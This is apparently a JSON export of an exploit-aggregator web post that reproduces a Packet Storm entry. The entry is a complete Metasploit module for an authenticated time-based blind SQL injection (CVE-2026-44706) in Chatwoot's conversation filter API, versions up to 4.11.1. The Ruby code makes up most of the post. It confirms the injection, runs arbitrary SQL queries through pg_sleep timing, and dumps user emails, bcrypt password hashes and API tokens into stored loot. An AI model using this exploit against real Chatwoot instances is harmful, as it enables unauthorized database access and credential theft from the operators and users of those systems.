{"id":61671,"date":"2026-06-10T10:43:08","date_gmt":"2026-06-10T10:43:08","guid":{"rendered":"https:\/\/zero.redgem.net\/?p=61671"},"modified":"2026-06-10T10:43:08","modified_gmt":"2026-06-10T10:43:08","slug":"chatwoot-4111-sql-injection","status":"publish","type":"post","link":"https:\/\/zero.redgem.net\/?p=61671","title":{"rendered":"\ud83d\udcc4 Chatwoot 4.11.1 SQL Injection_PACKETSTORM:223093"},"content":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2026-06-10T15:33:37&#8243;,&#8221;description&#8221;:&#8221;This Metasploit module targets an authenticated SQL injection vulnerability in the conversation filtering functionality of Chatwoot instances up to version 4.11.1&#8230;&#8221;,&#8221;published&#8221;:&#8221;2026-06-10T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2026-06-10T00:00:00&#8243;,&#8221;type&#8221;:&#8221;packetstorm&#8221;,&#8221;title&#8221;:&#8221;\ud83d\udcc4 Chatwoot 4.11.1 SQL Injection&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;PACKETSTORM:223093&#8243;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[&#8220;CVE-2026-44706&#8243;],&#8221;sourceData&#8221;:&#8221;==================================================================================================================================\\n    | # Title     : Chatwoot 4.11.1 FilterService SQL Injection Module for Authenticated Exposure Validation and Database Extraction |\\n    | # Author    : indoushka                                                                                                        |\\n    | # Tested on : windows 11 Fr(Pro) \/ browser : Mozilla firefox 147.0.4 (64 bits)                                                 |\\n    | # Vendor    : https:\/\/www.chatwoot.com                                                                                         |\\n    ==================================================================================================================================\\n    \\n    [+] Summary    :  module targets an authenticated SQL injection vulnerability in the conversation filtering functionality of Chatwoot instances up to version 4.11.1.\\n    \\n    \\n    [+] POC        :  \\n    \\n    ##\\n    # This module requires Metasploit: https:\/\/metasploit.com\/download\\n    # Current source: https:\/\/github.com\/rapid7\/metasploit-framework\\n    ##\\n    \\n    class MetasploitModule \\u003c Msf::Auxiliary\\n      include Msf::Exploit::Remote::HttpClient\\n      include Msf::Auxiliary::Report\\n    \\n      def initialize(info = {})\\n        super(\\n          update_info(\\n            info,\\n            &#8216;Name&#8217; =\\u003e &#8216;Chatwoot SQL Injection (CVE-CVE-2026-44706) &#8211; FilterService#lt_gt_filter&#8217;,\\n            &#8216;Description&#8217; =\\u003e %q{\\n              This module exploits a time-based SQL injection vulnerability in Chatwoot\\n              versions \\u003c= 4.11.1. The vulnerability exists in the conversation filter\\n              functionality, allowing an authenticated attacker to execute arbitrary\\n              SQL queries, extract sensitive data, and retrieve user credentials.\\n            },\\n            &#8216;Author&#8217; =\\u003e [&#8216;indoushka&#8217;],\\n            &#8216;License&#8217; =\\u003e MSF_LICENSE,\\n            &#8216;References&#8217; =\\u003e [\\n              [&#8216;URL&#8217;, &#8216;https:\/\/hakaisecurity.io&#8217;],\\n              [&#8216;CVE&#8217;, &#8216;CVE-2026-44706&#8217;] \\n            ],\\n            &#8216;DisclosureDate&#8217; =\\u003e &#8216;2026-06-09&#8217;,\\n            &#8216;Platform&#8217; =\\u003e &#8216;ruby&#8217;,\\n            &#8216;Arch&#8217; =\\u003e ARCH_CMD,\\n            &#8216;Targets&#8217; =\\u003e [[&#8216;Automatic&#8217;, {}]],\\n            &#8216;DefaultTarget&#8217; =\\u003e 0,\\n            &#8216;Notes&#8217; =\\u003e {\\n              &#8216;Stability&#8217; =\\u003e [CRASH_SAFE],\\n              &#8216;Reliability&#8217; =\\u003e [REPEATABLE_SESSION],\\n              &#8216;SideEffects&#8217; =\\u003e [IOC_IN_LOGS]\\n            }\\n          )\\n        )\\n    \\n        register_options([\\n          OptString.new(&#8216;TARGETURI&#8217;, [true, &#8216;Base path for Chatwoot&#8217;, &#8216;\/&#8217;]),\\n          OptString.new(&#8216;API_TOKEN&#8217;, [true, &#8216;Chatwoot API access token&#8217;, &#8221;]),\\n          OptInt.new(&#8216;ACCOUNT_ID&#8217;, [true, &#8216;Target account ID&#8217;, 1]),\\n          OptEnum.new(&#8216;ACTION&#8217;, [true, &#8216;Action to perform&#8217;, &#8216;check&#8217;, [&#8216;check&#8217;, &#8216;timebased&#8217;, &#8216;extract&#8217;, &#8216;creds&#8217;]]),\\n          OptString.new(&#8216;SQL_QUERY&#8217;, [false, &#8216;SQL query for extract mode&#8217;, &#8216;SELECT version()&#8217;]),\\n          OptInt.new(&#8216;MAX_LEN&#8217;, [false, &#8216;Maximum string length for extraction&#8217;, 200]),\\n          OptInt.new(&#8216;SLEEP_TIME&#8217;, [false, &#8216;Time in seconds for sleep-based injection&#8217;, 2]),\\n          OptFloat.new(&#8216;THRESHOLD&#8217;, [false, &#8216;Time threshold for detecting sleep (seconds)&#8217;, 1.5])\\n        ])\\n      end\\n    \\n      def sleep_time\\n        datastore[&#8216;SLEEP_TIME&#8217;]\\n      end\\n    \\n      def threshold\\n        datastore[&#8216;THRESHOLD&#8217;]\\n      end\\n    \\n      def build_payload(injected_sql)\\n        value = \\&#8221;2024-01-01&#8242;::date #{injected_sql} &#8216;epoch&#8217;::date \\u003e &#8216;2024-01-01\\&#8221;\\n        {\\n          &#8216;payload&#8217; =\\u003e [\\n            {\\n              &#8216;attribute_key&#8217; =\\u003e &#8216;created_at&#8217;,\\n              &#8216;filter_operator&#8217; =\\u003e &#8216;is_greater_than&#8217;,\\n              &#8216;values&#8217; =\\u003e [value],\\n              &#8216;query_operator&#8217; =\\u003e nil\\n            }\\n          ]\\n        }\\n      end\\n    \\n      def send_filter_request(payload, timeout = 60)\\n        uri = normalize_uri(target_uri.path, \\&#8221;\/api\/v1\/accounts\/#{datastore[&#8216;ACCOUNT_ID&#8217;]}\/conversations\/filter\\&#8221;)\\n        \\n        res = send_request_cgi(\\n          &#8216;method&#8217; =\\u003e &#8216;POST&#8217;,\\n          &#8216;uri&#8217; =\\u003e uri,\\n          &#8216;ctype&#8217; =\\u003e &#8216;application\/json&#8217;,\\n          &#8216;headers&#8217; =\\u003e {\\n            &#8216;api_access_token&#8217; =\\u003e datastore[&#8216;API_TOKEN&#8217;]\\n          },\\n          &#8216;data&#8217; =\\u003e payload.to_json,\\n          &#8216;timeout&#8217; =\\u003e timeout\\n        )\\n        \\n        res\\n      rescue ::Rex::ConnectionError, ::Rex::TimeoutError =\\u003e e\\n        print_error(\\&#8221;Request failed: #{e.message}\\&#8221;)\\n        nil\\n      end\\n    \\n      def blind_check(condition)\\n        sqli = \\&#8221;AND (SELECT CASE WHEN (#{condition}) THEN pg_sleep(#{sleep_time}) ELSE pg_sleep(0) END)::text != &#8216;x&#8217; OR\\&#8221;\\n        payload = build_payload(sqli)\\n        \\n        start_time = Time.now\\n        send_filter_request(payload, sleep_time + 30)\\n        elapsed = Time.now &#8211; start_time\\n        \\n        elapsed \\u003e= threshold\\n      end\\n    \\n      def extract_int(expression, low = 0, high = 10000)\\n        while low \\u003c= high\\n          mid = (low + high) \/ 2\\n          \\n          if blind_check(\\&#8221;(#{expression}) = #{mid}\\&#8221;)\\n            return mid\\n          elsif blind_check(\\&#8221;(#{expression}) \\u003e #{mid}\\&#8221;)\\n            low = mid + 1\\n          else\\n            high = mid &#8211; 1\\n          end\\n        end\\n        nil\\n      end\\n    \\n      def extract_string(expression, max_len = 200, charset = nil)\\n        charset ||= ((&#8216;a&#8217;..&#8217;z&#8217;).to_a + (&#8216;A&#8217;..&#8217;Z&#8217;).to_a + (&#8216;0&#8217;..&#8217;9&#8242;).to_a + \\n                     [&#8216;@&#8217;, &#8216;.&#8217;, &#8216;_&#8217;, &#8216;-&#8216;, &#8216;:&#8217;, &#8216;$&#8217;, &#8216;\/&#8217;, &#8216; &#8216;, &#8216;!&#8217;, &#8216;#&#8217;, &#8216;%&#8217;, &#8216;^&#8217;, &#8216;\\u0026&#8217;, &#8216;*&#8217;,\\n                      &#8216;(&#8216;, &#8216;)&#8217;, &#8216;+&#8217;, &#8216;=&#8217;, &#8216;[&#8216;, &#8216;]&#8217;, &#8216;{&#8216;, &#8216;}&#8217;, &#8216;|&#8217;, &#8216;;&#8217;, \\&#8221;&#8216;\\&#8221;, &#8216;,&#8217;, &#8216;\\u003c&#8217;, &#8216;\\u003e&#8217;,\\n                      &#8216;?&#8217;, &#8216;~&#8217;, &#8216;`&#8217;, &#8216;\\&#8221;&#8216;, &#8216;\\\\\\\\&#8217;])\\n        \\n        length = extract_int(\\&#8221;length((#{expression})::text)\\&#8221;, 0, max_len)\\n        return &#8221; unless length\\n        \\n        print_status(\\&#8221;Extracting #{length} characters&#8230;\\&#8221;)\\n        \\n        result = &#8221;\\n        (1..length).each do |pos|\\n          found = false\\n          charset.each do |ch|\\n            esc = ch.gsub(\\&#8221;&#8216;\\&#8221;, \\&#8221;&#8221;\\&#8221;)\\n            condition = \\&#8221;substring((#{expression})::text,#{pos},1) = &#8216;#{esc}&#8217;\\&#8221;\\n            \\n            if blind_check(condition)\\n              result \\u003c\\u003c ch\\n              print(ch)\\n              found = true\\n              break\\n            end\\n          end\\n          \\n          result \\u003c\\u003c &#8216;?&#8217; unless found\\n          print(&#8216;?&#8217;) unless found\\n        end\\n        \\n        print_line\\n        result\\n      end\\n    \\n      def check_vulnerability\\n        print_status(\\&#8221;Checking vulnerability with OR TRUE bypass&#8230;\\&#8221;)\\n        normal_payload = {\\n          &#8216;payload&#8217; =\\u003e [\\n            {\\n              &#8216;attribute_key&#8217; =\\u003e &#8216;created_at&#8217;,\\n              &#8216;filter_operator&#8217; =\\u003e &#8216;is_greater_than&#8217;,\\n              &#8216;values&#8217; =\\u003e [&#8216;2099-01-01&#8217;],\\n              &#8216;query_operator&#8217; =\\u003e nil\\n            }\\n          ]\\n        }\\n        \\n        normal_res = send_filter_request(normal_payload)\\n        return false unless normal_res\\u0026.code == 200\\n        normal_count = JSON.parse(normal_res.body).dig(&#8216;meta&#8217;, &#8216;all_count&#8217;) || 0\\n        malicious_res = send_filter_request(build_payload(&#8216;OR TRUE OR&#8217;))\\n        return false unless malicious_res\\u0026.code == 200\\n        malicious_count = JSON.parse(malicious_res.body).dig(&#8216;meta&#8217;, &#8216;all_count&#8217;) || 0\\n        \\n        print_status(\\&#8221;Normal count: #{normal_count} | Malicious count: #{malicious_count}\\&#8221;)\\n        \\n        if malicious_count \\u003e normal_count\\n          print_good(\\&#8221;SQL injection confirmed!\\&#8221;)\\n          return true\\n        else\\n          print_error(\\&#8221;Inconclusive &#8211; target may not be vulnerable\\&#8221;)\\n          return false\\n        end\\n      end\\n    \\n      def timebased_test\\n        print_status(\\&#8221;Testing time-based injection&#8230;\\&#8221;)\\n        start_time = Time.now\\n        send_filter_request(build_payload(\\&#8221;AND (SELECT pg_sleep(0))::text != &#8216;x&#8217; OR\\&#8221;))\\n        base_time = Time.now &#8211; start_time\\n        print_status(\\&#8221;Baseline time: #{&#8216;%.2f&#8217; % base_time}s\\&#8221;)\\n        start_time = Time.now\\n        send_filter_request(build_payload(\\&#8221;AND (SELECT pg_sleep(3))::text != &#8216;x&#8217; OR\\&#8221;))\\n        sleep_time_actual = Time.now &#8211; start_time\\n        print_status(\\&#8221;Sleep(3) time: #{&#8216;%.2f&#8217; % sleep_time_actual}s\\&#8221;)\\n        \\n        delta = sleep_time_actual &#8211; base_time\\n        print_status(\\&#8221;Delta: #{&#8216;%.2f&#8217; % delta}s\\&#8221;)\\n        \\n        if delta \\u003e= 2.5\\n          print_good(\\&#8221;Time-based injection confirmed!\\&#8221;)\\n        else\\n          print_error(\\&#8221;Time-based injection may not be exploitable\\&#8221;)\\n        end\\n      end\\n    \\n      def extract_data\\n        query = datastore[&#8216;SQL_QUERY&#8217;]\\n        max_len = datastore[&#8216;MAX_LEN&#8217;]\\n        \\n        print_status(\\&#8221;Extracting: #{query}\\&#8221;)\\n        result = extract_string(query, max_len)\\n        \\n        if result.present?\\n          print_good(\\&#8221;Result: #{result}\\&#8221;)\\n          store_loot(&#8216;chatwoot_sql_extract&#8217;, &#8216;text\/plain&#8217;, rhost, result, &#8216;sql_extract.txt&#8217;, \\&#8221;Extracted SQL query result\\&#8221;)\\n        else\\n          print_error(\\&#8221;Extraction failed\\&#8221;)\\n        end\\n      end\\n    \\n      def extract_credentials\\n        print_status(\\&#8221;Extracting user credentials&#8230;\\&#8221;)\\n        print_status(\\&#8221;Counting users&#8230;\\&#8221;)\\n        user_count = extract_int(\\&#8221;SELECT count(*) FROM users\\&#8221;, 0, 100)\\n        \\n        unless user_count \\u0026\\u0026 user_count \\u003e 0\\n          print_error(\\&#8221;Could not determine user count\\&#8221;)\\n          return\\n        end\\n        \\n        print_good(\\&#8221;Found #{user_count} user(s)\\&#8221;)\\n        \\n        creds = []\\n        hc_charset = (&#8216;a&#8217;..&#8217;z&#8217;).to_a + (&#8216;0&#8217;..&#8217;9&#8242;).to_a + [&#8216;$&#8217;, &#8216;2&#8217;, &#8216;a&#8217;, &#8216;b&#8217;, &#8216;1&#8217;, &#8216;0&#8217;, &#8216;.&#8217;, &#8216;\/&#8217;] + (&#8216;A&#8217;..&#8217;Z&#8217;).to_a\\n        ec_charset = (&#8216;a&#8217;..&#8217;z&#8217;).to_a + (&#8216;0&#8217;..&#8217;9&#8242;).to_a + [&#8216;@&#8217;, &#8216;.&#8217;, &#8216;_&#8217;, &#8216;-&#8216;, &#8216;+&#8217;] + (&#8216;A&#8217;..&#8217;Z&#8217;).to_a\\n        \\n        (0&#8230;user_count).each do |i|\\n          print_status(\\&#8221;Processing user #{i + 1}\/#{user_count}\\&#8221;)\\n          \\n          uid = extract_int(\\&#8221;SELECT id FROM users ORDER BY id LIMIT 1 OFFSET #{i}\\&#8221;, 1, 100000)\\n          next unless uid\\n          \\n          print_status(\\&#8221;  ID: #{uid}\\&#8221;)\\n          \\n          email = extract_string(\\&#8221;SELECT email FROM users WHERE id=#{uid}\\&#8221;, 100, ec_charset)\\n          password_hash = extract_string(\\&#8221;SELECT encrypted_password FROM users WHERE id=#{uid}\\&#8221;, 60, hc_charset)\\n          token = extract_string(\\&#8221;SELECT token FROM access_tokens WHERE owner_type=&#8217;User&#8217; AND owner_id=#{uid} LIMIT 1\\&#8221;, 30)\\n          \\n          creds \\u003c\\u003c {\\n            id: uid,\\n            email: email,\\n            hash: password_hash,\\n            token: token\\n          }\\n          \\n          print_good(\\&#8221;  Email: #{email}\\&#8221;) if email.present?\\n          print_good(\\&#8221;  Hash: #{password_hash}\\&#8221;) if password_hash.present?\\n          print_good(\\&#8221;  Token: #{token}\\&#8221;) if token.present?\\n        end\\n        creds.each do |cred|\\n          report_cred(\\n            user: cred[:email],\\n            hash: cred[:hash],\\n            private_type: :nonreplayable_hash,\\n            private_data: cred[:hash],\\n            jtr_format: &#8216;bcrypt&#8217;\\n          ) if cred[:hash].present?\\n          \\n          report_cred(\\n            user: cred[:email],\\n            private_type: :password,\\n            private_data: cred[:token]\\n          ) if cred[:token].present?\\n        end\\n        loot_data = JSON.pretty_generate(creds)\\n        store_loot(&#8216;chatwoot_credentials&#8217;, &#8216;application\/json&#8217;, rhost, loot_data, &#8216;chatwoot_creds.json&#8217;, &#8216;Extracted credentials&#8217;)\\n        print_good(\\&#8221;Credentials saved to loot\\&#8221;)\\n      end\\n      \\n      def report_cred(opts = {})\\n        return unless opts[:user].present? \\u0026\\u0026 opts[:private_data].present?\\n        \\n        credential_data = {\\n          origin_type: :service,\\n          module_fullname: fullname,\\n          username: opts[:user],\\n          private_data: opts[:private_data],\\n          private_type: opts[:private_type] || :password,\\n          workspace_id: myworkspace.id,\\n          address: rhost,\\n          port: rport,\\n          service_name: &#8216;chatwoot&#8217;,\\n          protocol: &#8216;tcp&#8217;\\n        }\\n        create_credential(credential_data)\\n      rescue =\\u003e e\\n        print_error(\\&#8221;Failed to report credential: #{e.message}\\&#8221;)\\n      end\\n    \\n      def run\\n        unless datastore[&#8216;API_TOKEN&#8217;].present?\\n          print_error(\\&#8221;API_TOKEN is required\\&#8221;)\\n          return\\n        end\\n        print_status(\\&#8221;Verifying authentication&#8230;\\&#8221;)\\n        res = send_request_cgi(\\n          &#8216;method&#8217; =\\u003e &#8216;GET&#8217;,\\n          &#8216;uri&#8217; =\\u003e normalize_uri(target_uri.path, &#8216;\/api\/v1\/profile&#8217;),\\n          &#8216;headers&#8217; =\\u003e { &#8216;api_access_token&#8217; =\\u003e datastore[&#8216;API_TOKEN&#8217;] }\\n        )\\n        \\n        unless res \\u0026\\u0026 res.code == 200\\n          print_error(\\&#8221;Authentication failed &#8211; invalid token or URL\\&#8221;)\\n          return\\n        end\\n        begin\\n          profile = JSON.parse(res.body)\\n          print_good(\\&#8221;Authenticated as: #{profile[&#8216;name&#8217;]} (#{profile[&#8217;email&#8217;]}) &#8211; Account ID: #{datastore[&#8216;ACCOUNT_ID&#8217;]}\\&#8221;)\\n        rescue\\n          print_status(\\&#8221;Authentication successful\\&#8221;)\\n        end\\n        case datastore[&#8216;ACTION&#8217;]\\n        when &#8216;check&#8217;\\n          check_vulnerability\\n        when &#8216;timebased&#8217;\\n          timebased_test\\n        when &#8216;extract&#8217;\\n          extract_data\\n        when &#8216;creds&#8217;\\n          extract_credentials\\n        end\\n      end\\n    end\\n    \\n    Greetings to :==============================================================================\\n    jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|\\n    ============================================================================================&#8221;,&#8221;sourceHref&#8221;:&#8221;https:\/\/packetstorm.news\/download\/223093&#8243;,&#8221;cvss&#8221;:{&#8220;score&#8221;:8.5,&#8221;severity&#8221;:&#8221;HIGH&#8221;,&#8221;vector&#8221;:&#8221;CVSS:3.1\/AV:N\/AC:L\/PR:L\/UI:N\/S:C\/C:H\/I:L\/A:N&#8221;,&#8221;version&#8221;:&#8221;3.1&#8243;},&#8221;cvss2&#8243;:{},&#8221;cvss3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;,&#8221;cvssV3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;}},&#8221;href&#8221;:&#8221;https:\/\/packetstorm.news\/files\/id\/223093\/&#8221;,&#8221;category_name&#8221;:&#8221;Exploit&#8221;,&#8221;post_link&#8221;:&#8221;&#8221;,&#8221;product&#8221;:&#8221;&#8221;,&#8221;version&#8221;:&#8221;&#8221;,&#8221;vendor&#8221;:&#8221;&#8221;,&#8221;ai_description&#8221;:&#8221;&#8221;,&#8221;ai_severity&#8221;:&#8221;&#8221;,&#8221;ai_vendor&#8221;:&#8221;&#8221;,&#8221;ai_product&#8221;:&#8221;&#8221;,&#8221;ai_version&#8221;:&#8221;&#8221;,&#8221;ai_score&#8221;:0}<\/p>\n","protected":false},"excerpt":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2026-06-10T15:33:37&#8243;,&#8221;description&#8221;:&#8221;This Metasploit module targets an authenticated SQL injection vulnerability in the conversation filtering functionality of Chatwoot instances up to version 4.11.1&#8230;&#8221;,&#8221;published&#8221;:&#8221;2026-06-10T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2026-06-10T00:00:00&#8243;,&#8221;type&#8221;:&#8221;packetstorm&#8221;,&#8221;title&#8221;:&#8221;\ud83d\udcc4 Chatwoot 4.11.1 SQL Injection&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;PACKETSTORM:223093&#8243;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[&#8220;CVE-2026-44706&#8243;],&#8221;sourceData&#8221;:&#8221;==================================================================================================================================\\n&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,44,12,15,13,53,7,11,5],"class_list":["post-61671","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-cvss-85","tag-exploit","tag-high","tag-news","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.5 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>\ud83d\udcc4 Chatwoot 4.11.1 SQL Injection_PACKETSTORM:223093 - zero redgem<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/zero.redgem.net\/?p=61671\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"\ud83d\udcc4 Chatwoot 4.11.1 SQL Injection_PACKETSTORM:223093 - zero redgem\" \/>\n<meta property=\"og:description\" content=\"{&#8220;lastseen&#8221;:&#8221;2026-06-10T15:33:37&#8243;,&#8221;description&#8221;:&#8221;This Metasploit module targets an authenticated SQL injection vulnerability in the conversation filtering functionality of Chatwoot instances up to version 4.11.1&#8230;&#8221;,&#8221;published&#8221;:&#8221;2026-06-10T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2026-06-10T00:00:00&#8243;,&#8221;type&#8221;:&#8221;packetstorm&#8221;,&#8221;title&#8221;:&#8221;\ud83d\udcc4 Chatwoot 4.11.1 SQL Injection&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;PACKETSTORM:223093&#8243;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[&#8220;CVE-2026-44706&#8243;],&#8221;sourceData&#8221;:&#8221;==================================================================================================================================n...\" \/>\n<meta property=\"og:url\" content=\"https:\/\/zero.redgem.net\/?p=61671\" \/>\n<meta property=\"og:site_name\" content=\"zero redgem\" \/>\n<meta property=\"article:published_time\" content=\"2026-06-10T10:43:08+00:00\" \/>\n<meta name=\"author\" content=\"invoker\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"invoker\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"10 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=61671#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=61671\"},\"author\":{\"name\":\"invoker\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\"},\"headline\":\"\ud83d\udcc4 Chatwoot 4.11.1 SQL Injection_PACKETSTORM:223093\",\"datePublished\":\"2026-06-10T10:43:08+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=61671\"},\"wordCount\":1815,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"keywords\":[\"CVE\",\"CVSS\",\"CVSS-8.5\",\"exploit\",\"HIGH\",\"news\",\"packetstorm\",\"Security\",\"tapic\",\"Vulnerability\"],\"articleSection\":[\"category_exploit\"],\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=61671#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=61671\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?p=61671\",\"name\":\"\ud83d\udcc4 Chatwoot 4.11.1 SQL Injection_PACKETSTORM:223093 - zero redgem\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\"},\"datePublished\":\"2026-06-10T10:43:08+00:00\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=61671#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=61671\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=61671#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/zero.redgem.net\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"\ud83d\udcc4 Chatwoot 4.11.1 SQL Injection_PACKETSTORM:223093\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"name\":\"zero redgem\",\"description\":\"\",\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/zero.redgem.net\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\",\"name\":\"zero redgem\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\",\"url\":\"\",\"contentUrl\":\"\",\"width\":191,\"height\":188,\"caption\":\"zero redgem\"},\"image\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\"}},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\",\"name\":\"invoker\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"caption\":\"invoker\"},\"sameAs\":[\"https:\\\/\\\/zero.redgem.net\"],\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?author=1\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"\ud83d\udcc4 Chatwoot 4.11.1 SQL Injection_PACKETSTORM:223093 - zero redgem","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/zero.redgem.net\/?p=61671","og_locale":"en_US","og_type":"article","og_title":"\ud83d\udcc4 Chatwoot 4.11.1 SQL Injection_PACKETSTORM:223093 - zero redgem","og_description":"{&#8220;lastseen&#8221;:&#8221;2026-06-10T15:33:37&#8243;,&#8221;description&#8221;:&#8221;This Metasploit module targets an authenticated SQL injection vulnerability in the conversation filtering functionality of Chatwoot instances up to version 4.11.1&#8230;&#8221;,&#8221;published&#8221;:&#8221;2026-06-10T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2026-06-10T00:00:00&#8243;,&#8221;type&#8221;:&#8221;packetstorm&#8221;,&#8221;title&#8221;:&#8221;\ud83d\udcc4 Chatwoot 4.11.1 SQL Injection&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;PACKETSTORM:223093&#8243;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[&#8220;CVE-2026-44706&#8243;],&#8221;sourceData&#8221;:&#8221;==================================================================================================================================n...","og_url":"https:\/\/zero.redgem.net\/?p=61671","og_site_name":"zero 